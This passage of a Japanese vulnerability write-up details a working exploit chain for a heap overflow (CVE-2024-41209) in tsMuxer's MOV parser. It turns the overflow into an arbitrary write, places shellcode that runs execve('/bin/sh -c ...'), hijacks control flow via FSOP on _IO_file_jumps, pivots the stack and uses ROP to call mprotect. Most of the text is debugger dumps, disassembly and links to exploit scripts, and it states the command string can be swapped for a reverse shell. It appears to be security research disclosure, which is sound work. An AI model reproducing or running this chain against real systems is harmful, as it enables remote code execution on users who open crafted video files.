0x93a6a0:	0x0000000000000001	0x00000000deadbeef <- trun1
0x93a6b0:	0x0000000000000001	0x00000000cafebabe
0x93a6c0:	0x0000000000000001	0x00000000fee1dead
0x93a6d0:	0x0000000000000000	0x0000000000000000
0x93a6e0:	0x0000000000000000	0x0000000000000041
0x93a6f0:	0x00000000008eb088	0x000000000093a4c0 <- MovParsedXXXTrackData
0x93a700:	0x0000000000939e30	0x0000000000000000
0x93a710:	0x0000000000000000	0x0000000000000000
0x93a720:	0x0000000000000004	0x00000000000058e1

gef> x/12gx 0x8eb088
0x8eb088 <vtable for MovParsedH264TrackData+16>:	0x00000000004bfe88	0x00000000004bfec6
0x8eb098 <vtable for MovParsedH264TrackData+32>:	0x00000000004befd8	0x00000000004bf8d4
0x8eb0a8 <vtable for MovParsedH264TrackData+48>:	0x00000000004bfae0	0x0000000000000000
0x8eb0b8 <vtable for MovParsedAudioTrackData+8>:	0x00000000008f6600	0x00000000004ccd6c
0x8eb0c8 <vtable for MovParsedAudioTrackData+24>:	0x00000000004ccd9a	0x00000000004be9fa
0x8eb0d8 <vtable for MovParsedAudioTrackData+40>:	0x00000000004bea96	0x00000000004bebda

次にMOVStreamContext構造体を確認します。ctts_dataのベクターが末尾にあります。このctts_dataのベクターは、MovDemuxer::mov_read_ctts を呼ぶことにより値を書き込みができることが分かっています。つまり、MOVStreamContext構造体を確保してctts_dataのベクターをセットした後にheap BOFでこのポインタを破壊すれば、AAWのprimitiveが得られそうです。今回はこれを使います。

struct MOVStreamContext : Track
{
    MOVStreamContext()
        : m_indexCur(0),
					...
          sample_rate(0)
    {
    }
		...
    vector<uint32_t> keyframes;
    // vector<MOVDref> drefs;
    vector<MOVStts> stts_data;
    vector<MOVStts> ctts_data;
};

AAW

AAW (Arbitrary Address Write)は任意のアドレスに書き込みができるprimitiveです。今回のExploitではリバースシェルを起動することが最終目標なので、任意の文字列に対してexecveできる必要があります。シェルコードや文字列をメモリ上に作成したり、RIPを制御したりするには、heap BOFよりも強力で使い勝手のよいprimitiveを得ることが必要不可欠です。

heap BOFでMOVStreamContext構造体を書き換えて、AAWのprimitiveを得る手順を確認します。わかりやすさのために1回目にcallしたMovDemuxer::mov_read_trun()MovDemuxer::mov_read_trun1 のように表記することにします。

まず、MovDemuxer::mov_read_trun1MovDemuxer::mov_read_ctts1 の順番に呼んで、sizeのみを0にします。次にMovDemuxer::mov_read_trakMovDemuxer::mov_read_ctts2 の順番に実行することで、最初のMovDemuxer::mov_read_ctts1で確保したctts_dataベクターの直下にMOVStreamContext構造体を確保し、その構造体の中に破壊対象であるctts_dataベクターを用意します。MovDemuxer::mov_read_trun2 でheap BOFを発火させ、MOVStreamContext構造体の中のctts_dataベクターを書き換えてから、MovDemuxer::mov_read_ctts3 でそのベクターに対して書き込みを試みることでAAWが実現することができるはずです。

実際にデバッグして確認します。MovDemuxer::mov_read_trun2でheap BOFが発生する直前のheap領域は以下のようになっています。

gef> x/200gx 0x000000000093a650
0x93a650:	0x0000000000000000	0x0000000000000000
0x93a660:	0x0000000000000000	0x0000000000000031 
0x93a670:	0x0000000000000000	0x000000000091e250 <- ctts2で確保したベクター
0x93a680:	0x0000000000000001	0x0000000000000000
...
ctts1で確保したベクターがemplace_backで再確保された後にfreeされたチャンク達
...
0x93a880:	0x0000000000000000	0x0000000000000211
0x93a890:	0x0000000000000001	0x0000000000000000 <- ctts1で確保したベクター
0x93a8a0:	0x0000000000000001	0x0000000000000000
0x93a8b0:	0x0000000000000001	0x0000000000000000
0x93a8c0:	0x0000000000000001	0x0000000000000000
0x93a8d0:	0x0000000000000001	0x0000000000000000
0x93a8e0:	0x0000000000000001	0x0000000000000000
...
0x93aa50:	0x0000000000000001	0x0000000000000000
0x93aa60:	0x0000000000000001	0x0000000000000000
0x93aa70:	0x0000000000000001	0x0000000000000000
0x93aa80:	0x0000000000000000	0x0000000000000000
0x93aa90:	0x0000000000000000	0x0000000000000191
0x93aaa0:	0x0000000000000040	0x0000000000000000 <- MovStreamContext構造体
0x93aab0:	0x0000000000000000	0x0000000000000000
0x93aac0:	0x0000000000000000	0x0000000000000000
0x93aad0:	0x0000000000000000	0x0000000000000000
0x93aae0:	0x0000000000000000	0x0000000000000000
0x93aaf0:	0x0000000000000000	0x0000000000000000
0x93ab00:	0x0000000000000000	0x0000000000000000
0x93ab10:	0x0000000000000000	0x0000000000000000
0x93ab20:	0x0000000000000000	0x0000000000000000
0x93ab30:	0x0000000000000000	0x0000000000000000
0x93ab40:	0x0000000000000000	0x0000000000000000
0x93ab50:	0x0000000000000000	0x0000000000000000
0x93ab60:	0x0000000000000002	0x0000000000000000
0x93ab70:	0x0000000000000000	0x0000000000000000
0x93ab80:	0x0000000000000000	0x0000000000000000
0x93ab90:	0x0000000000000000	0x0000000000000000
0x93aba0:	0x0000000000000000	0x0000000000000000
0x93abb0:	0x0000000000000000	0x0000000000000000
0x93abc0:	0x0000000000000000	0x0000000000000000
0x93abd0:	0x0000000000000000	0x0000000000000000
0x93abe0:	0x0000000000000000	0x0000000000000000
0x93abf0:	0x0000000000000000	0x0000000000000000
0x93ac00:	0x0000000000000000	0x000000000093a650 <- 破壊対象のctts_dataベクター
0x93ac10:	0x000000000093a660	0x000000000093a660
0x93ac20:	0x0000000000000000	0x0000000000000021
0x93ac30:	0x0000000000000000	0x0000000000000000
0x93ac40:	0x0000000000000000	0x00000000000053c1

MovDemuxer::mov_read_trun2 の後にMovDemuxer::mov_read_ctts3 でベクターに書き込んでみましょう。ベクターの _M_impl._M_start がoverwriteされ、そのアドレスへ書き込みが行われていることが分かります。

gef> x/58gx 0x93aa80
0x93aa80:	0x0000000000000001	0x00000000deadbeef
0x93aa90:	0x0000000000000001	0x0000000000000191
0x93aaa0:	0x0000000000000001	0x000000006e757274
0x93aab0:	0x0000000000000001	0x000000006e757274
...
0x93abe0:	0x0000000000000001	0x000000006e757274
0x93abf0:	0x0000000000000001	0x000000006e757274
0x93ac00:	0x0000000000000001	0x000000000091c800 <- ctts_data._M_impl._M_start
0x93ac10:	0x000000000093a660	0x000000000093a660
0x93ac20:	0x0000000000000000	0x0000000000000021
0x93ac30:	0x0000000000000000	0x0000000000000000
0x93ac40:	0x0000000000000000	0x00000000000053c1
gef> x/6gx 0x000000000091c800
0x91c800:	0x00000000deadbeef	0x00000000cafebabe
0x91c810:	0x00000000deadbeef	0x00000000cafebabe
0x91c820:	0x0000000000000000	0x0000000000000000

AAWを実行するコードは以下のとおりです。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_aaw.py

任意サイズの32bit列を任意のアドレスに書き込むことが出来ます。32bit列なので例えば64bitのアドレスを書き込むことはできません。しかし、no-pieでstatic linkなバイナリにおいては十分なwrite primitiveを得ることができました。

エクスプロイト

得られたAAWのprimitiveを使ってRCEに繋げます。staticバイナリなので使用していないlibcの関数はバイナリ中に存在しません。system関数が存在しないので、リバースシェルを起動するにはいくつかのガジェットを自由に実行できる必要があります。

今回のエクスプロイトではシェルコードを実行することにしました。AAWのprimitiveは実際の32bit列しか書き込めないという制限があるので、上位32bitが 00000000 であっても動くようなシェルコードを作成します。また、write権限とexecute権限が同時に付与されているメモリ領域は存在していないので、Return Oriented Programming (ROP)でmprotectを呼ぶことで書き込んだシェルコードを実行できるようにします。

具体的な方針としては次の通りです。

  1. AAWでメモリ上にシェルコードを配置する
  2. RIPを取る (任意のアドレスにプログラムカウンタを飛ばす)
  3. ガジェットを実行してstack pivotをする
  4. ROPでシェルコードのあるメモリ領域に実行権限を付与する
  5. シェルコードを実行 → リバースシェルを起動する

シェルコードを作成する

シェルコードを実行してリバースシェルを起動する場合、次の二つのステップが必要です。

  • メモリ上に、任意の文字列を/bin/sh -c に繋げて用意すること
  • 引数に用意した文字列を渡した状態で、execveシステムコールを呼び出すこと

32bit列しか書き込めないAAWの書き込みで作成したシェルコードで、これらを実現することを考えます。

まず、AAWにて上位32bitに0が書き込まれてしまう問題がありますが、その上位32bit部分を即値に相当する部分として扱うことによって解決します。言葉で説明してもわかりにくいので、機械語の例を以下に示します。

32bit列しか書き込めない、というのは以下のように上位32bitが00000000 となるような、64bitの値を連続して書き込める状態です。

gef> x/32gx 0x901410
0x901410 <_dl_main_map+208>:	0x00000000b990c031	0x00000000b990900c
0x901420 <_dl_main_map+224>:	0x00000000b908e0c1	0x00000000b9900d0c
0x901430 <_dl_main_map+240>:	0x00000000b908e0c1	0x00000000b990d00c
0x901440 <_dl_main_map+256>:	0x00000000b9902fb3	0x00000000b9901888
0x901450 <_dl_main_map+272>:	0x00000000b990c031	0x00000000b990900c
0x901460 <_dl_main_map+288>:	0x00000000b908e0c1	0x00000000b9900d0c
0x901470 <_dl_main_map+304>:	0x00000000b908e0c1	0x00000000b990d10c
0x901480 <_dl_main_map+320>:	0x00000000b99062b3	0x00000000b9901888
0x901490 <_dl_main_map+336>:	0x00000000b990c031	0x00000000b990900c
0x9014a0 <_dl_main_map+352>:	0x00000000b908e0c1	0x00000000b9900d0c

この0の部分を即値に相当する部分として解釈されるようにするとは、上のメモリ領域を機械語として解釈した時の結果を確認すると理解できると思います。

mov ecx, 0 の部分を見てください。0xb9に続く、0x00000000は即値として扱われており、全体として5byteのvalidな命令列となっています。

 ->   0x901410 31c0                           xor    eax, eax
      0x901412 90                             nop
      0x901413 b900000000                     mov    ecx, 0
      0x901418 0c90                          or     al, 0x90
      0x90141a 90                             nop
      0x90141b b900000000                     mov    ecx, 0
      0x901420 c1e008                         shl    eax, 8
      0x901423 b900000000                     mov    ecx, 0
      0x901428 0c0d                           or     al, 0xd
      0x90142a 90                             nop
      0x90142b b900000000                     mov    ecx, 0

このmov ecx, 0 を間に挟むことで、好きな3byteの機械語を連続して実行できるようになります。rcxレジスタへの操作以外のmov ecx, 0 の副作用はありません。

次にこの3byte以内の命令の連続で、任意のアドレスに1byteの書き込みを行うことを実現します。書き込みにはmov [rax], bl という2byteの命令を使います。書き込み先のアドレスをraxレジスタに用意する必要がありますが、 xor eax, eax で0に初期化した後に、or al, 0x90 のように好きな1byte(ここでは0x90)をalレジスタに格納し、shl eax, 8 でシフトすることを繰り返すことで、任意の32bitアドレスをeaxレジスタに用意することが可能です。

例えば、以下のようなシェルコードをメモリ上に配置して実行することで、アドレス0x900dd0に0x2fを書き込むことができます。

      0x901410 31c0                           xor    eax, eax
      0x901412 90                             nop
      0x901413 b900000000                     mov    ecx, 0
      0x901418 0c90                           or     al, 0x90
      0x90141a 90                             nop
      0x90141b b900000000                     mov    ecx, 0
      0x901420 c1e008                         shl    eax, 8
      0x901423 b900000000                     mov    ecx, 0
      0x901428 0c0d                           or     al, 0xd
      0x90142a 90                             nop
      0x90142b b900000000                     mov    ecx, 0
      0x901430 c1e008                         shl    eax, 8
      0x901433 b900000000                     mov    ecx, 0
      0x901438 0cd0                           or     al, 0xd0
      0x90143a 90                             nop
      0x90143b b900000000                     mov    ecx, 0
      0x901440 b32f                           mov    bl, 0x2f
      0x901442 90                             nop
      0x901443 b900000000                     mov    ecx, 0
      0x901448 8818                           mov    byte ptr [rax], bl
      0x90144a 90                             nop
      0x90144b b900000000                     mov    ecx, 0

つまり、このシェルコードの実行さえできれば、「任意のアドレスに1byte書き込める」という、より強力なAAW primitiveを得ることができます。複数回このprimitiveを使用することで、任意の文字列をメモリ上に作成できます。

任意の文字列を作成した後は、execveシステムコールを呼ぶだけです。

eaxに任意の32bitアドレスを作った後に、mov edi, eax のような2byte命令を実行すれば、rdi, rsi, rdxレジスタにも任意の32bitアドレスを用意できます。

例えば、以下のようにレジスタを設定してsyscall命令を実行すればよいです。

  • raxレジスタにexecveのsyscall番号である0x3bをセット
  • rdiレジスタに /bin/sh の文字列の格納されたアドレスをセット
  • rsiレジスタにargvのアドレスとして、 /bin/sh のアドレスが入っているポインタのアドレスをセット
  • rdxに0をセット
[+] Detected syscall (arch:X86, mode:64)
    execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)
[+] Parameter            Register             Value
    RET                  $rax                 -
    _NR                  $rax                 0x3b
    filename             $rdi                 0x0000000000900dd0 <main_arena+0x530>  ->  0x0068732f6e69622f ('/bin/sh'?)
    argv                 $rsi                 0x0000000000900db0 <main_arena+0x510>  ->  0x0000000000900dd0 <main_arena+0x530>  ->  0x0068732f6e69622f ('/bin/sh'?)
    envp                 $rdx                 0x0000000000000000

argvとして渡される0x900dd0のメモリ領域には以下のように文字列を用意すればよいです。

gef> x/8gx 0x900dd0
0x900dd0 <main_arena+1328>:	0x0068732f6e69622f	0x0000000000900dc0
0x900de0 <main_arena+1344>:	0x000000000000632d	0x0000000000900dd0
0x900df0 <main_arena+1360>:	0x3b61686c2d20736c	0x746164203b646920
0x900e00 <main_arena+1376>:	0x0000000000900065	0x0000000000900df0
gef> x/25s 0x0000000000900dd0
0x900dd0 <main_arena+1328>:	"/bin/sh"
0x900dd8 <main_arena+1336>:	"\300\r\220"
...
0x900de0 <main_arena+1344>:	"-c"
...
0x900de8 <main_arena+1352>:	"\320\r\220"
...
0x900df0 <main_arena+1360>:	"ls -lha; id; date"
0x900e02 <main_arena+1378>:	"\220"
...
0x900e08 <main_arena+1384>:	"\360\r\220"
0x900e0c <main_arena+1388>:	""

以上のようなシェルコードをメモリ上に用意すれば、あとはrwx権限をそのメモリ領域に付与し、RIPレジスタをそのシェルコードの先頭に飛ばすだけで、リバースシェルを実行できます。

今回の例では ls -lha; id; date を実行しているだけですが、この文字列をリバースシェルを実行するような文字列に変えればよいです。

シェルコードを作成するpythonスクリプトは以下の通りです。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_shellcode.py

RIPを取る

今回はRIPを制御するために、File Structure Oriented Programming (FSOP)を使います。static linkedなバイナリでは、File構造体のvtableの範囲チェックが存在しないだけでなく、vtable自体もrw可能領域にmapされています。このvtableの適切な関数ポインタを書き換えるだけで、File構造体にアクセスする様々なinternal関数の中でRIPをハイジャックできます。

今回は、MovDemuxer::mov_read_cmov() を使って__cxa_throw経由でFSOPを発火させます。。これにより、破壊したctts_dataベクターのデストラクタで落ちることなくRIPを取ることができます。

int MovDemuxer::mov_read_cmov(MOVAtom atom) { THROW(ERR_MOV_PARSE, "Compressed MOV not supported in current version") }

FSOPでRIPを飛ばす時のレジスタの状態を確認します。

生成したexploit.movを渡し実行すると、_IO_file_jumpsの13番目のエントリを書き換えることでRIPをハイジャックできることがわかります。実は他のエントリでもハイジャックすることは可能ですが、今回はこの13番目のエントリである_IO_sync_tをガジェットのアドレスに書き換えることにします。 

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_rip.py

Thread 1 "tsMuxeR" received signal SIGSEGV, Segmentation fault.
0x00000000dead000c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x0000000000000828
$rbx   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000901920 <_IO_str_chk_jumps>  ->  0x0000000000000000
$rsp   : 0x00007fffffffdc18  ->  0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145
$rbp   : 0x0000000000901e60 <_IO_file_jumps>  ->  0x00000000dead0000
$rsi   : 0x0000000000000540
$rdi   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rip   : 0x00000000dead000c
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
$eflags: 0x10206 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7fffffffdc18|+0x0000|+000: 0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145  <-  retaddr[1]
      0x7fffffffdc20|+0x0008|+001: 0x00007fffffffdecd  ->  0xffffffdee0000000
      0x7fffffffdc28|+0x0010|+002: 0x0000000000918460 <std::cerr>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  ...
      0x7fffffffdc30|+0x0018|+003: 0x00007fffffffdc90  ->  0x00000000ffffde00  <-  $r15
      0x7fffffffdc38|+0x0020|+004: 0x00000000006afee3 <std::ostream::flush()+0x23>  ->  0xe0894c0874fff883  <-  retaddr[2]
      0x7fffffffdc40|+0x0028|+005: 0x0000000000918460 <std::cerr>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  ...
      0x7fffffffdc48|+0x0030|+006: 0x00000000006b0740 <std::ostream::sentry::sentry(std::ostream&)+0x50>  ->  0x8be8580348038b48  <-  retaddr[3]
      0x7fffffffdc50|+0x0038|+007: 0x00007fffffffdc80  ->  0x696f6c7078652f2e './exploit.mov'
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
[!] Cannot access memory at address 0xdead000c

Stack pivot

32bitの配列をAAWで書き込む都合から、_IO_file_jumpsの上のメモリ領域にROPのペイロードを用意し、stack pivotでそこに制御を移すことにします。

espにアクセスするガジェットは複数ありますが、今回は mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret ガジェットを使います。ebpには_IO_file_jumpsのアドレスが入っているので、stackを_IO_file_jumpsにpivotできます。

_IO_file_jumpsの0から14番目までの_IO_sync_tを除いたエントリは、_IO_sync_tにアクセスするまでに使用されることはなかったので好きなアドレスを書き込んでおくことができます。

ここまでのコードを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_stack_pivot.py

ROPでmprotectを実行

ここでは、_IO_file_jumpsのアドレスより上のメモリ領域にシェルコードを配置します。

これにより1回のctts_dataベクターの書き込みで、_IO_file_jumpsの書き換えとシェルコードの配置を同時に達成できます。

13番目のmov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret ガジェットを上手くpopで回避しながら、mprotectを実行し、シェルコードの領域にretすれば、リバースシェルが起動します。mprotectを実行して、rwx領域にretするまでの動作を実際に確認してみます。

import gdb

gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_cmov')
gdb.execute('r')
gdb.execute('b *0x007b0851')
gdb.execute('c')

まず、stack pivotのガジェットが実行されます。

$rax   : 0x0000000000000828
$rbx   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000901920 <_IO_str_chk_jumps>  ->  0x0000000000000000
$rsp   : 0x00007fffffffdc18  ->  0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145
$rbp   : 0x0000000000901e60 <_IO_file_jumps>  ->  0x00000000dead0000
$rsi   : 0x0000000000000540
$rdi   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rip   : 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7fffffffcff0|+0x0000|+000: 0x00007fffffffd020  ->  0x00007fffffffd050  ->  0x00007fffffffd070  ->  ...
      0x7fffffffcff8|+0x0008|+001: 0x0000000000939e30  ->  0x00000000008f6528 <vtable for MovDemuxer+0x10>  ->  0x00000000004be4d8 <MovDemuxer::~MovDemuxer()>  ->  ...  <-  $rax, $rdi
      0x7fffffffd000|+0x0010|+002: 0x00007fffffffd020  ->  0x00007fffffffd050  ->  0x00007fffffffd070  ->  ...
      0x7fffffffd008|+0x0018|+003: 0x9ec84812c6782000  <-  canary
      0x7fffffffd010|+0x0020|+004: 0x00007fffffffd040  ->  0x00007fffffffd070  ->  0x00007fffffffd0b0  ->  ...
      0x7fffffffd018|+0x0028|+005: 0x00000000004534f8 <IOContextDemuxer::get_be16()+0x2e>  ->  0x5d5b18c48348d809
      0x7fffffffd020|+0x0030|+006: 0x00007fffffffd050  ->  0x00007fffffffd070  ->  0x00007fffffffd0b0  ->  ...
      0x7fffffffd028|+0x0038|+007: 0x0000000000939e30  ->  0x00000000008f6528 <vtable for MovDemuxer+0x10>  ->  0x00000000004be4d8 <MovDemuxer::~MovDemuxer()>  ->  ...  <-  $rax, $rdi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
*-> 0x7b0851 89ec                <fread_unlocked+0x51>   mov    esp, ebp
    0x7b0853 5b                  <fread_unlocked+0x53>   pop    rbx
    0x7b0854 5d                  <fread_unlocked+0x54>   pop    rbp
    0x7b0855 4c89e0              <fread_unlocked+0x55>   mov    rax, r12
    0x7b0858 415c                <fread_unlocked+0x58>   pop    r12
    0x7b085a c3                  <fread_unlocked+0x5a>   ret

その後、mprotectをsyscall命令で実行する際の引数を用意します。

  • pop rdi; ret; でシェルコードを格納する予定の0x901000をrdiレジスタにセットします。

rspレジスタの指す領域が、stack pivotによって_IO_file_jumps上にあることも確認できます。

  • pop rsi; ret;0x4000 をrsiレジスタにセットします。
  • pop rdx; ret; でrwxを表す 7 をrdxレジスタにセットします。
  • pop rax; ret; でmprotectを指定する 0xa をraxレジスタにセットします。

mprotectを実行する直前の状態を確認します。

$rax   : 0x000000000000000a
$rbx   : 0x00000000dead0000
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000000007
$rsp   : 0x0000000000901ec0 <_IO_file_jumps+0x60>  ->  0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
$rbp   : 0x00000000cafe0000
$rsi   : 0x0000000000004000
$rdi   : 0x0000000000901000 <main_arena+0x760>  ->  0x0000000000900ff0 <main_arena+0x750>  ->  0x0000000000900fe0 <main_arena+0x740>  ->  0x0000000000900fd0 <main_arena+0x730>  ->  ...
$rip   : 0x0000000000627791 <__deallocate_stack+0xe1>  ->  0x48001f0fc35d050f
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x00000000dead0012
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
$eflags: 0x206 [ident align vx86 resume nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
      0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0>  ->  0x0000000000735d00 <_IO_default_imbue>  ->  0x2e6666c3fa1e0ff3  <-  retaddr[1]
      0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read>  ->  0x70478b44fa1e0ff3  <-  retaddr[2]
      0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write>  ->  0x89495541fa1e0ff3
      0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
      0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat>  ->  0x8bf28948fa1e0ff3  <-  retaddr[3]
      0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc>  ->  0xffffffb8fa1e0ff3  <-  retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
    0x627780 be81000000          <__deallocate_stack+0xd0>   mov    esi, 0x81
    0x627785 b8ca000000          <__deallocate_stack+0xd5>   mov    eax, 0xca
    0x62778a 488d3d37fe2e00      <__deallocate_stack+0xda>   lea    rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
 -> 0x627791 0f05                <__deallocate_stack+0xe1>   syscall
    0x627793 5d                  <__deallocate_stack+0xe3>   pop    rbp
    0x627794 c3                  <__deallocate_stack+0xe4>   ret
    0x627795 0f1f00              <__deallocate_stack+0xe5>   nop    DWORD PTR [rax]
    0x627798 488d3d29fe2e00      <__deallocate_stack+0xe8>   lea    rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
    0x62779f e81cb70000          <__deallocate_stack+0xef>   call   0x632ec0 <__lll_lock_wait_private>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- arguments ----
[+] Detected syscall (arch:X86, mode:64)
    mprotect(unsigned long start, size_t len, unsigned long prot)
[+] Parameter            Register             Value
    RET                  $rax                 -
    _NR                  $rax                 0xa
    start                $rdi                 0x0000000000901000 <main_arena+0x760>  ->  0x0000000000900ff0 <main_arena+0x750>  ->  0x0000000000900fe0 <main_arena+0x740>  ->  0x0000000000900fd0 <main_arena+0x730>  ->  ...
    len                  $rsi                 0x0000000000004000
    prot                 $rdx                 0x0000000000000007

gef> vmmap -n
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000903000 0x0000000000005000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rsp, $rdi, $r14
0x0000000000903000 0x0000000000940000 0x000000000003d000 0x0000000000000000 rw- [heap]<tls-th1>  <-  $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]

syscallを呼んだ後は、続くpop rbp; ret; でstack pivotに使ったガジェットにretしないようにstackをずらします。

mprotectを実行した結果、メモリ領域はrwxになっています。

